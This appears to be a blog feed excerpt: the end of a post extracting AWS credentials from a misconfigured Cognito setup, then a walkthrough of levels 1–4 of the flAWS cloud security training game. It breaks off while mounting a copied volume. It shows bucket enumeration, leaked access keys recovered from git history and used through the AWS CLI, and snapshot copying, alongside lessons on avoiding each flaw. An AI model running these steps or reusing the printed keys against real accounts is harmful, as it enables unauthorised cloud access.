</code></pre><p>Seems like the SDK is back on the menu boys! Even better, it most likely has Admin privileges. Can we get some credentials out of this?<br>Lucky me, AWS provides a great documentation on how to <a href="https://docs.aws.amazon.com/cognito/latest/developerguide/getting-credentials.html?ref=eduard.schwarzkopf.center">get credentials</a> from Cognito.</p><p>So, when I read that correctly, I should be able to just grab the credentials by simply accessing <code>AWS.config.credentials</code>.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-22.png" class="kg-image" alt loading="lazy" width="1204" height="752" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-22.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/05/image-22.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/05/image-22.png 1204w" sizes="(min-width: 720px) 720px"></figure><pre><code class="language-javascript">AWS.config.credentials.accessKeyId
&quot;ASIAZQ3DQJ3M4MWPKN75&quot;
AWS.config.credentials.secretAccessKey
&quot;vMQDprUC3c9h3H4PMY7Cunf907vBl6MtNRqfx7jK&quot;
AWS.config.credentials.sessionToken
&quot;IQoJb3JpZ2luX2VjEJz//////////******&quot;
</code></pre><p>Bingo! That marks the scenario as complete.</p><h3 id="conclusion-a-succesful-endeavor">Conclusion: A Succesful Endeavor</h3><p>I was able to extract AWS credentials. Just with a little dirty JavaScript. This shows a seemingly minor misconfiguration can potentially, in combination with a role with excessive permissions, pave the way for unauthorized access, leading to a complete compromise of the system.</p><p>The validation of custom attributes on the client side rather than the server side is a fundamental error, revealing that security by obscurity isn&apos;t security at all.<br>Proper server-side validation is a must-have to prevent such easy bypassing of security measures.</p><p>It also shows that security by obscurity isn&apos;t security at all, especially when your resources have <code>admin</code> in their name.</p><p>A single loophole can escalate to full administrative access. The takeaway here: always be meticulous in your configurations to protect your cloud infrastructure from virtual threats.</p><p>As promised, now it is time to fix this. This will not only secure your cloud assets but also ensure the integrity and reliability of your operations. Stay tuned for this important update.</p>]]></content:encoded></item><item><title><![CDATA[flAWS Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>flAWS, the brainchild of Scott Piper from Summit Route, is a unique cloud security game designed to educate users on the common pitfalls and misconfigurations that can occur when employing Amazon Web Services (AWS).<br>
Unlike traditional web-based security challenges, flAWS focuses exclusively on AWS-specific issues, eschewing more commonplace vulnerabilities like</p>]]></description><link>https://eduard.schwarzkopf.center/flaws-write-up/</link><guid isPermaLink="false">65ca2672031e2c00015f31f2</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 12 Feb 2024 14:42:05 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>flAWS, the brainchild of Scott Piper from Summit Route, is a unique cloud security game designed to educate users on the common pitfalls and misconfigurations that can occur when employing Amazon Web Services (AWS).<br>
Unlike traditional web-based security challenges, flAWS focuses exclusively on AWS-specific issues, eschewing more commonplace vulnerabilities like SQL Injection or XSS.</p>
<p>If you want to do the challenge yourself, visit <a href="http://flaws.cloud/?ref=eduard.schwarzkopf.center">http://flaws.cloud/</a> and enjoy.</p>
<p>For everybody else, I won&apos;t judge you.</p>
<blockquote>
<pre><code class="language-html">_____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  &apos;  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|

</code></pre>
<p>Through a series of levels you&apos;ll learn about common mistakes and gotchas when using Amazon Web Services (AWS). There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS-specific issues.</p>
<p>A series of hints are provided that will teach you how to discover the info you&apos;ll need. If you don&apos;t want to run any commands, you can just keep following the hints which will give you the solution to the next level. At the start of each level, you&apos;ll learn how to avoid the problem the previous level exhibited.</p>
<p>Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud.<br>
Now for the challenge!</p>
<p><strong>Level 1</strong></p>
<p>This level is <em>buckets</em> of fun. See if you can find the first sub-domain.</p>
<p><a href="http://flaws.cloud/?ref=eduard.schwarzkopf.center">http://flaws.cloud/</a></p>
</blockquote>
<p>Let&apos;s see what we can learn from this.</p>
<h2 id="level-1a-bucket-full-of-holes">Level 1 - A Bucket Full of Holes</h2>
<p>Since we are on the dark side and want to attack something, the very first thing we need to do is <a href="https://www.geeksforgeeks.org/5-phases-hacking/?ref=eduard.schwarzkopf.center">recon</a>.</p>
<p>A good step is always to check what is behind the domain name.<br>
For this, you can use tools like <code>dig</code> or <code>nslookup</code>.</p>
<pre><code class="language-bash">$ nslookup flaws.cloud
Server: 192.168.178.28
Address: 192.168.178.28#53

Non-authoritative answer:
Name: flaws.cloud
Address: 52.218.180.114
Name: flaws.cloud
Address: 52.218.242.162
Name: flaws.cloud
Address: 52.92.128.51
Name: flaws.cloud
Address: 52.218.225.58
Name: flaws.cloud
Address: 52.218.241.99
Name: flaws.cloud
Address: 52.218.244.91
Name: flaws.cloud
Address: 52.92.195.203
Name: flaws.cloud
Address: 52.92.177.155

</code></pre>
<pre><code class="language-bash">$ dig flaws.cloud

; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; flaws.cloud
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 20000
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;flaws.cloud.   IN A

;; ANSWER SECTION:
flaws.cloud.    5 IN  A 52.218.128.7
flaws.cloud.    5 IN  A 52.92.193.187
flaws.cloud.    5 IN  A 52.92.176.91
flaws.cloud.    5 IN  A 52.92.136.99
flaws.cloud.    5 IN  A 52.92.193.67
flaws.cloud.    5 IN  A 52.92.145.19
flaws.cloud.    5 IN  A 52.218.169.210
flaws.cloud.    5 IN  A 52.92.241.67

;; Query time: 45 msec
;; SERVER: 192.168.178.28#53(192.168.178.28)
;; WHEN: Tue Aug 29 15:48:40 CEST 2023
;; MSG SIZE  rcvd: 168```
</code></pre>
<p>As you can see we get a bunch of A records back for some servers.<br>
Let&apos;s dig into it a bit further:</p>
<pre><code class="language-bash">$ nslookup 52.218.128.7
Server: 192.168.178.28
Address:  192.168.178.28#53

Non-authoritative answer:
7.128.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

Authoritative answers can be found from:

</code></pre>
<p>Seems like the website is hosted on an S3 Bucket.<br>
If you don&apos;t know how to set this up, you can check the <a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html?ref=eduard.schwarzkopf.center">documentation</a>.<br>
From there you can read the following:</p>
<blockquote>
<p>To create an S3 bucket for your root domain</p>
<ol>
<li>Open the Amazon S3 console at <a href="https://console.aws.amazon.com/s3/?ref=eduard.schwarzkopf.center">https://console.aws.amazon.com/s3/</a>.</li>
<li>Choose Create bucket.</li>
<li>Enter the following values:</li>
</ol>
<ul>
<li>Bucket name:
<ul>
<li><strong>Enter the name of your domain, such as example.com</strong>.</li>
</ul>
</li>
</ul>
</blockquote>
<p>This means we&apos;ve got a bucket name: <code>flaws.cloud</code>.<br>
Now we can take a look inside and see what we can see see see.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-1.png" class="kg-image" alt loading="lazy" width="512" height="368"><figcaption>Patrick star with binos</figcaption></figure><!--kg-card-begin: markdown--><p>We&apos;ve got two methods:</p>
<p>Via Browser with the URL: <code>&lt;bucketname&gt;.s3.amazonaws.com</code></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-8.png" class="kg-image" alt loading="lazy" width="1240" height="1244" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-8.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-8.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/02/image-8.png 1240w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>or use the CLI (if you don&apos;t want to use/load credentials, use <code>--no-sign-request</code> as a parameter, more configuration options can be found <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-options.html?ref=eduard.schwarzkopf.center#cli-configure-options-list">here</a>.):</p>
<pre><code class="language-bash">$ aws s3 ls  s3://flaws.cloud/
2017-03-14 04:00:38       2575 hint1.html
2017-03-03 05:05:17       1707 hint2.html
2017-03-03 05:05:11       1101 hint3.html
2020-05-22 20:16:45       3162 index.html
2018-07-10 18:47:16      15979 logo.png
2017-02-27 02:59:28         46 robots.txt
2017-02-27 02:59:30       1051 secret-dd02c7c.html
</code></pre>
<p>Well, if <code>secret-dd02c7c.html</code> isn&apos;t something you want to look into, then I don&apos;t know what you&apos;re doing. Time to reveal it:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-9.png" class="kg-image" alt loading="lazy" width="2000" height="564" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-9.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-9.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-9.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-9.png 2318w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>That wasn&apos;t too bad. What did we learn from this? Let me just quote Scott:</p>
<blockquote>
<h3 id="lesson-learned">Lesson learned</h3>
<p>On AWS you can set up S3 buckets with all sorts of permissions and functionality including using them to host static files. Some people accidentally open them up with permissions that are too loose. Just like how you shouldn&apos;t allow directory listings of web servers, you shouldn&apos;t allow bucket listings.<br>
Examples of this problem</p>
<ul>
<li>Directory listing of S3 bucket of Legal Robot (<a href="https://hackerone.com/reports/163476?ref=eduard.schwarzkopf.center">link</a>) and Shopify (<a href="https://hackerone.com/reports/57505?ref=eduard.schwarzkopf.center">link</a>).</li>
<li>Read and write permissions to the S3 bucket for Shopify again (<a href="https://hackerone.com/reports/111643?ref=eduard.schwarzkopf.center">link</a>) and Udemy (<a href="https://hackerone.com/reports/131468?ref=eduard.schwarzkopf.center">link</a>). This challenge did not have read and write permissions, as that would destroy the challenge for other players, but it is a common problem.</li>
</ul>
<h3 id="avoiding-the-mistake">Avoiding the mistake</h3>
<p>By default, S3 buckets are private and secure when they are created. To allow it to be accessed as a web page, I had to turn on &quot;Static Website Hosting&quot; and change the bucket policy to allow everyone &quot;s3:GetObject&quot; privileges, which is fine if you plan to publicly host the bucket as a web page. But then to introduce the flaw, I changed the permissions to add &quot;Everyone&quot; to have &quot;List&quot; permissions. &quot;Everyone&quot; means everyone on the Internet. You can also list the files simply by going to <a href="http://flaws.cloud.s3.amazonaws.com/?ref=eduard.schwarzkopf.center">http://flaws.cloud.s3.amazonaws.com/</a> due to that List permission.</p>
</blockquote>
<p>The policy will look like the following:</p>
<pre><code class="language-json">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;DoNotDoThisEver&quot;,
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;s3:*&quot;,
      &quot;Principal&quot;: &quot;*&quot;, // Everybody on the World Wide Web
      &quot;Resource&quot;: [
        &quot;arn:aws:s3:::BUCKETNAME/*&quot;,
        &quot;arn:aws:s3:::BUCKETNAME&quot;
      ]
    }
  ]
}
</code></pre>
<p>A policy with any wildcard is usually a bad sign, except you are a KMS key and want to reference yourself <a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-overview.html?ref=eduard.schwarzkopf.center#key-policy-elements">https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-overview.html#key-policy-elements</a> (see section Resource)!<br>
Avoid wildcards wherever possible (It is always possible).</p>
<p>So in Short.<br>
Make sure to only give permissions to files that are needed.<br>
You know, that principle of least privilege that you read about all the time.</p>
<h2 id="level-2a-bucket-full-of-holes-still">Level 2 - A Bucket Full of Holes (still)</h2>
<blockquote>
<p><strong>Level 2</strong></p>
<p>The next level is fairly similar, with a slight twist. You&apos;re going to need your own AWS account for this. You just need the free tier.</p>
</blockquote>
<p>Well, that should be easy.<br>
Let&apos;s try another list bucket cli command on this domain:</p>
<pre><code class="language-bash">$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:02:15      80751 everyone.png
2017-03-03 04:47:17       1433 hint1.html
2017-02-27 03:04:39       1035 hint2.html
2017-02-27 03:02:14       2786 index.html
2017-02-27 03:02:14         26 robots.txt
2017-02-27 03:02:15       1051 secret-e4443fc.html
</code></pre>
<p>And same as before, time to visit the secret site:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-10.png" class="kg-image" alt loading="lazy" width="2000" height="544" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-10.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-10.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-10.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-10.png 2324w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>That was too easy. Now, what did we learn from this?</p>
<h3 id="lessons-learned">Lessons learned</h3>
<p>Time to quote Scott again:</p>
<blockquote>
<p><strong>Lesson learned</strong><br>
Similar to opening permissions to &quot;Everyone&quot;, people accidentally open permissions to &quot;Any Authenticated AWS User&quot;. They might mistakenly think this will only be users of their account, when in fact it means anyone that has an AWS account.</p>
<p>Examples of this problem</p>
<ul>
<li>Open permissions for authenticated AWS user on Shopify (<a href="https://hackerone.com/reports/98819?ref=eduard.schwarzkopf.center">link</a>)</li>
</ul>
<p><strong>Avoiding the mistake</strong></p>
<p>Only open permissions to specific AWS users. This screenshot is from the web console in 2017. This setting can no longer be set in the webconsole, but the SDK and third-party tools sometimes allow it.</p>
</blockquote>
<p>You can spot these mistakes when you see a policy like the following:</p>
<pre><code class="language-json">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;AllAWSAccounts&quot;,
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;s3:*&quot;,
      &quot;Principal&quot; : { &quot;AWS&quot; : &quot;*&quot; } // Means every AWS Account
      &quot;Resource&quot;: [
        &quot;arn:aws:s3:::BUCKETNAME/*&quot;,
        &quot;arn:aws:s3:::BUCKETNAME&quot;
      ]
    }
  ]
}
</code></pre>
<h2 id="level-3d%C3%A9j%C3%A0-vu">Level 3 - D&#xE9;j&#xE0;-vu</h2>
<blockquote>
<p>The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you&apos;ll find something that will let you list what other buckets are.</p>
</blockquote>
<p>Alright, time to get a bit deeper into an account.<br>
So, as before, let&apos;s take a look inside the bucket:</p>
<pre><code class="language-bash">aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 01:14:33     123637 authenticated_users.png
2017-02-27 01:14:34       1552 hint1.html
2017-02-27 01:14:34       1426 hint2.html
2017-02-27 01:14:35       1247 hint3.html
2017-02-27 01:14:33       1035 hint4.html
2020-05-22 20:21:10       1861 index.html
2017-02-27 01:14:33         26 robots.txt
</code></pre>
<p>Okay, cool, we&apos;ve got something.<br>
A couple of hints and as it seems a <code>.git</code> folder.<br>
That seems the most interesting of all the other files.</p>
<p>Let&apos;s see if we can download it:</p>
<pre><code class="language-bash">
$ cd /tmp
$ /tmp mkdir lvl3 &amp;&amp; cd lvl3
$ lvl3 aws s3 cp --recursive s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .    
download: ...
lvl3 git:(master) $
</code></pre>
<p>That did work.<br>
Now we can take a look into the git history and again, see what we found:</p>
<pre><code class="language-bash">$ git show

commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -&gt; master)
Author: 0xdabbad00 &lt;scott@summitroute.com&gt;
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn&apos;t have

diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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
</code></pre>
<p>Uuuh seems like Scott &quot;accidently&quot; pushed access keys into the repository.<br>
This sounds familiar &#x1F606;</p>
<p>Let&apos;s grab those and create our flaws profile with those keys:</p>
<pre><code class="language-bash">$ aws configure --profile flaws
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:
</code></pre>
<p>With that setup, let&apos;s call the <code>whoami</code> from AWS:</p>
<pre><code class="language-bash">$ aws sts get-caller-identity --profile flaws
{
  &quot;UserId&quot;: &quot;AIDAJQ3H5DC3LEG2BKSLC&quot;,
  &quot;Account&quot;: &quot;975426262029&quot;,
  &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:user/backup&quot;
}
</code></pre>
<p>That looks promising.<br>
Now I would like to know what other buckets we might have here:</p>
<pre><code class="language-bash">$ aws s3api list-buckets --profile flaws
{
  &quot;Buckets&quot;: [
    {
      &quot;Name&quot;: &quot;2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-12T21:31:07+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;config-bucket-975426262029&quot;,
      &quot;CreationDate&quot;: &quot;2017-05-29T16:34:53+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;flaws-logs&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-12T20:03:24+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-05T03:40:07+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-24T01:54:13+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;level3-9afd3927f195e10225021a578e6f78df.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-26T18:15:44+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;level4-1156739cfb264ced6de514971a4bef68.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-26T18:16:06+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-26T19:44:51+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-26T19:47:58+00:00&quot;
    },
    {
      &quot;Name&quot;: &quot;theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud&quot;,
      &quot;CreationDate&quot;: &quot;2017-02-26T20:06:32+00:00&quot;
    }
  ],
  &quot;Owner&quot;: {
    &quot;DisplayName&quot;: &quot;0xdabbad00&quot;,
    &quot;ID&quot;: &quot;d70419f1cb589d826b5c2b8492082d193bca52b1e6a81082c36c993f367a5d73&quot;
  }
}
</code></pre>
<p>Look at that. We have all the buckets in that account. Even <code>theend</code> bucket. Shall, we take a peek?</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-11.png" class="kg-image" alt loading="lazy" width="2000" height="568" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-11.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-11.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-11.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-11.png 2340w" sizes="(min-width: 720px) 720px"></figure><p>Damnit, Scott knew beforehand that this might happen. What about Level 4?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-12.png" class="kg-image" alt loading="lazy" width="2000" height="1433" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-12.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-12.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-12.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-12.png 2362w" sizes="(min-width: 720px) 720px"></figure><p>*Hacker Voice*.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-13.png" class="kg-image" alt loading="lazy" width="1108" height="1017" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-13.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-13.png 1000w, https://eduard.schwarzkopf.center/content/images/2024/02/image-13.png 1108w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><h3 id="lessons-learnedlevel-3">Lessons learned - Level 3</h3>
<p>You can read what Scott has to say about this in the picture.<br>
I would even go one step further and avoid using access keys altogether.<br>
For more details about this topic you can read about exposing access keys in my <a href="https://eduard.schwarzkopf.center/i-exposed-aws-access-keys-on-purpose-heres-what-i-learned-and-how-i-boosted-incident-response/">blog post</a></p>
<h2 id="level-4%F0%9F%93%B8">Level 4 - &#x1F4F8;</h2>
<blockquote>
<p>For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud</p>
<p>It&apos;ll be useful to know that a snapshot was made of that EC2 shortly after Nginx was set up on it.</p>
</blockquote>
<p>Let&apos;s take a look at what we are dealing with here.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-14.png" class="kg-image" alt loading="lazy" width="2000" height="1358" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-14.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-14.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-14.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-14.png 2086w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Well, it is protected via Basic Authentication.<br>
We need more information to get around this.</p>
<p>So, we know that is running on an EC2 instance, but what can we do with this information?<br>
Let&apos;s just take a look around, at what else we can see with the access keys from Level 3.</p>
<pre><code class="language-bash">$ aws s3api list-objects-v2 --bucket level4-1156739cfb264ced6de514971a4bef68.flaws.cloud --profile flaws                 

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
</code></pre>
<p>That sucks, maybe bucket 5?</p>
<pre><code class="language-bash">aws s3api list-objects-v2 --bucket level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud --profile flaws

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
</code></pre>
<p>Same thing. So, we need to look somewhere else. Since Scott is talking about a snapshot, we might get something out of it:</p>
<pre><code class="language-bash">$ aws ec2 describe-snapshots --profile flaws

You must specify a region. You can also configure your region by running &quot;aws configure&quot;.
</code></pre>
<p>Hmm... we need a region. Did we encounter a region before? Yes, we did:</p>
<pre><code class="language-bash">$ nslookup 52.218.128.7
Server: 192.168.178.28
Address:  192.168.178.28#53

Non-authoritative answer:
7.128.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

Authoritative answers can be found from:

</code></pre>
<p>So, <code>us-west-2</code> might be our region:</p>
<pre><code class="language-bash">$ aws ec2 describe-snapshots --region us-west-2 --profile flaws

&lt;very long list&gt;
</code></pre>
<p>Running this command gives us a gazillion snapshots from a bunch of different owners.<br>
Seems like we are not the first ones.<br>
Maybe we can filter the list for the correct owner.<br>
For this, we need the correct account ID.<br>
Luckily, we already have the ID with sts:</p>
<pre><code class="language-bash">$ aws sts get-caller-identity --profile flaws

{
  &quot;UserId&quot;: &quot;AIDAJQ3H5DC3LEG2BKSLC&quot;,
  &quot;Account&quot;: &quot;975426262029&quot;,
  &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:user/backup&quot;
}
</code></pre>
<p>With that account ID, time to filter out the rest:</p>
<pre><code class="language-bash">$ aws ec2 describe-snapshots --region us-west-2 --profile flaws --filters Name=owner-id,Values=975426262029

{
  &quot;Snapshots&quot;: [
    {
      &quot;Description&quot;: &quot;&quot;,
      &quot;Encrypted&quot;: false,
      &quot;OwnerId&quot;: &quot;975426262029&quot;,
      &quot;Progress&quot;: &quot;100%&quot;,
      &quot;SnapshotId&quot;: &quot;snap-0b49342abd1bdcb89&quot;,
      &quot;StartTime&quot;: &quot;2017-02-28T01:35:12+00:00&quot;,
      &quot;State&quot;: &quot;completed&quot;,
      &quot;VolumeId&quot;: &quot;vol-04f1c039bc13ea950&quot;,
      &quot;VolumeSize&quot;: 8,
      &quot;Tags&quot;: [
        {
          &quot;Key&quot;: &quot;Name&quot;,
          &quot;Value&quot;: &quot;flaws backup 2017.02.27&quot;
        }
      ],
      &quot;StorageTier&quot;: &quot;standard&quot;
    }
  ]
}
</code></pre>
<p>We found the snapshot. The big question is:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-15.png" class="kg-image" alt loading="lazy" width="479" height="240"></figure><!--kg-card-begin: markdown--><p>Well, with a Snapshot, we - maybe - can create a volume.<br>
With a volume, we can attach it to an EC2 instance.<br>
With an attached volume to an EC2 instance, we can look inside the volume.<br>
With the look inside of the volume, we get profit.<br>
What are we waiting for?!</p>
<p>Note: There is no profile here, since we want to create the volume in an account we have full control of.</p>
<pre><code class="language-bash">aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id  snap-0b49342abd1bdcb89

{
    &quot;AvailabilityZone&quot;: &quot;us-west-2a&quot;,
    &quot;CreateTime&quot;: &quot;2023-08-30T13:30:11+00:00&quot;,
    &quot;Encrypted&quot;: false,
    &quot;Size&quot;: 8,
    &quot;SnapshotId&quot;: &quot;snap-0b49342abd1bdcb89&quot;,
    &quot;State&quot;: &quot;creating&quot;,
    &quot;VolumeId&quot;: &quot;vol-0f3812f56573d575f&quot;,
    &quot;Iops&quot;: 100,
    &quot;Tags&quot;: [],
    &quot;VolumeType&quot;: &quot;gp2&quot;,
    &quot;MultiAttachEnabled&quot;: false
}
</code></pre>
<p>Seems like something happened. Let&apos;s confirm this in the console.<br>
Switch to Oregon (<code>us-west-2</code>) and check the volumes:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-16.png" class="kg-image" alt loading="lazy" width="2000" height="276" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-16.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-16.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-16.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-16.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Bingo! We&#x2019;ve got our Volume. Shall we take a look inside? Of course! (Even though our security-concerned parents told us to never run volumes with unknown content, what&#x2019;s supposed to happen &#x1F607;)</p><p>Simply create an EC2 instance with all default parameters and without a key pair. Now, it is time to attach the Volume to it:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-17.png" class="kg-image" alt loading="lazy" width="2000" height="1239" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-17.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-17.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-17.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-17.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>And now pick the new EC2 instance:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-18.png" class="kg-image" alt loading="lazy" width="1764" height="1528" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-18.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-18.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-18.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-18.png 1764w" sizes="(min-width: 720px) 720px"></figure><p>Now it is time to take a look inside. Time to connect to the EC2 instance:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-19.png" class="kg-image" alt loading="lazy" width="1706" height="1444" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-19.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-19.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-19.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-19.png 1706w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Now that we are connected, let&apos;s mount the volume and see what we&apos;ve got:</p>
<pre><code class="language-bash">$ lsblk

NAME      MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
xvda      202:0    0   8G  0 disk
